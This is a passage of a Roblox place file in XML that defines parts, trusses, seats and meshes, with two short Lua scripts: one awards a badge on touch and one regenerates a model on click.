					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>6</Y>
					<Z>22</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX2786">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-188</X>
					<Y>16.8000011</Y>
					<Z>268</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX2787">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-188</X>
					<Y>16.8000011</Y>
					<Z>270</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX2788">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-188</X>
					<Y>16.8000011</Y>
					<Z>266</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX2789">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2790">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1713</X>
						<Y>27.8000011</Y>
						<Z>45</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX2791">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2792">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX2793">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2794">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2795">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-239</X>
						<Y>7</Y>
						<Z>240</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX2796">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX2797">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2798">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX2799">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2800">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Rescue</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX2801">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Seat" referent="RBX2802">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-252</X>
								<Y>7.4000001</Y>
								<Z>232</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2803">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2804">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-284</X>
								<Y>6.19999981</Y>
								<Z>235</Z>
								<R00>-1</R00>
								<R01>-0</R01>
								<R02>-0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-0</R20>
								<R21>-0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2805">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2806">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-281</X>
								<Y>6.19999981</Y>
								<Z>231</Z>
								<R00>-1</R00>
								<R01>-0</R01>
								<R02>-0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-0</R20>
								<R21>-0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2807">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2808">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-281</X>
								<Y>6.19999981</Y>
								<Z>239</Z>
								<R00>-1</R00>
								<R01>-0</R01>
								<R02>-0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-0</R20>
								<R21>-0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2809">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2810">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-284</X>
								<Y>6.19999981</Y>
								<Z>239</Z>
								<R00>-1</R00>
								<R01>-0</R01>
								<R02>-0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-0</R20>
								<R21>-0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
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									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
										<X>-243.5</X>
										<Y>0.5</Y>
										<Z>235</Z>
										<R00>0</R00>
										<R01>1</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>-1</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
